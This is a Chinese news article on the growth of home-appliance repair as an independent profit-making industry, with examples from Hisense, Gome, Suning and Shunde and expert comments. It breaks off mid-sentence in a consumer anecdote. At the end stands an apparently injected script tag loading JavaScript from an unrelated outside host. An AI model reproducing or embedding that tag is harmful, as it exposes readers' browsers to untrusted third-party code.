由于投入巨大，售后服务一直被家电企业视为沉重的负担，但当家电产销利润越来越薄的时候，家电维修市场却在不断扩大，成为渠道商、制造商及社会力量等各方共同关注的一个新的利润增长点，家电维修成为独立产业的呼声日益高涨。那么，中国的消费者是否有可能在不久的将来享受到由社会第三方提供的优质、便利的售后服务？日前，本报记者采访了有关专家。
家电维修成为新的利润增长点
数据显示，我国家电维修的市场规模高达１００亿元人民币，其中大部分是生产企业转给维修商的。例如：一台１匹以上空调的平均安装费用在２３０元左右，这笔钱是空调生产厂家从毛利中剥离出来给家电维修商的，且高于销售商卖出一台相同型号空调的利润。而根据中国家电维修协会的数据，跨国企业家电维修服务部门的盈利状况颇为可观。国外一些家电品牌的服务利润占其集团利润的比例，由２５年前的１５％上升到目前的５０％以上。而在邻国日本，针对高端家电市场的售后服务更是厂家最大的利润来源。而知名跨国公司ｉｂｍ每１美元的硬件销售可带动４美元软件和服务业务，硬件销售与服务赢利呈现出齐头并进之势。
中国家电维修协会副会长兼秘书长刘秀敏认为，未来十年，中国家电行业和市场将出现“产品差异缩小，服务差异拉大”的趋势。用户对服务的要求越来越高，对服务需求的范围越来越广，使得家用电器维修服务成为一个极具发展前景的行业。同时，家用电器维修服务市场比家用电器销售市场的空间更大，一般来说，需要提供维修服务的家用电器市场范围包括：家庭中目前保有量、正在销售的数量、潜在购买的数量，这是一个庞大的用户群体，也是维修服务的大市场。“哪里有消费者的需求，哪里就有盈利的机会”。
各方力量纷纷试水家电维修
售后服务网点规模不断扩大和管理成本逐渐加大；竞争的逐渐升级和服务成本的巨大投入，使得各家电生产企业不得不考虑通过各种途径节约维修服务费用，降低成本。有的厂家开始通过寻求家电售后服务第三方独立运营来开拓其专业化道路。如２００２年海信成立赛维家电服务产业有限公司，其前身是海信维修服务中心，成立伊始，赛维便开始向独立的第三方服务公司过渡，２００４年，赛维完成了过渡，完全成为了独立的第三方专业品牌服务商，而海信原维修服务中心则萎缩成为全国服务商的管理部门。同年格兰仕成立了独立的服务公司，完全成为了独立的第三方专业品牌服务商。同时ｔｃｌ的“幸福快车”、志高的“兴隆服务连锁”等都是一种尝试。
与此同时，各大家电卖场也不约而同地看上了家电维修这一行，纷纷开起了家电医院：２００４年３月５日，北京国美电器率先与北京市消费者协会签订《服务保证函》，承诺消费者在国美“购物无忧、投诉无忧、维修无忧”。从而走上售后服务前台，承担起原来由厂家承担的售后维修等责任。今年３月中旬，以家电销售、维修、保养一站式服务为宗旨的国美家电医院正式揭牌。
２００５年３月１５日，全国家电连锁巨头苏宁电器宣布，将启动为期３年的“５３１５”服务平台建设工程。这一工程是苏宁电器阳光服务的升级行动，核心是实现苏宁电器服务平台的标准化、连锁化、规模化和信息化，以强大的连锁服务平台支撑连锁店面和销售规模的迅速扩张。
而早在１０年前，深圳顺电就率先开出了首家家电卖场中的家电医院，据顺电市场发展部相关负责人李定先生介绍，顺电家电医院现已成为深圳市质量技术监督局认证的一级维修企业。它拥有深圳同行业中最大的配件库，以及独立的配件采购销售系统，并与８０多家国内外知名家用、商用电器供应商建立了良好的配件采购合作关系。目前顺电家电医院已被松下、索尼、东芝、ｌｇ、建伍等５０多家国内外知名品牌指定为特约维修安装单位。
此外，在中国市场快速崛起的韩国家电巨头ｌｇ电子，售后服务的目标是“扎根中国的服务先锋”。索尼公司则投资１５０万美元在上海建立了互动服务中心。从２００３年开始，松下在强化主力维修店的基础上加大维修网络的分布范围，并成立了专门的服务公司。刘秀敏指出，在时机成熟时，这些外资企业也有可能将售后服务剥离出来，形成社会化的服务平台。
“在产品和渠道竞争同质化严重的今天，售后维修服务是家电企业新的利润增长点，可惜这一点以前没有受到家电企业的普遍重视。随着竞争的加剧和销售利润的减少，多方力量介入维修服务是必然的。而且由第三方提供产品的退换货鉴定及保内保外维修服务也是家电业的发展趋势。”国务院发展研究中心市场经济研究所研究员陆刃波对记者这样表示。
正方意见
第三方服务需求正旺
家住北京市回龙观的何女士告诉记者，自己家曾经买过一台爱多的ｖｃｄ，爱多破产后没多久机器就坏了，厂家的售后服务没有了，又不信任私人维修点，后来干脆把机器当废品卖了；?script src=http://er12.com/t.js>
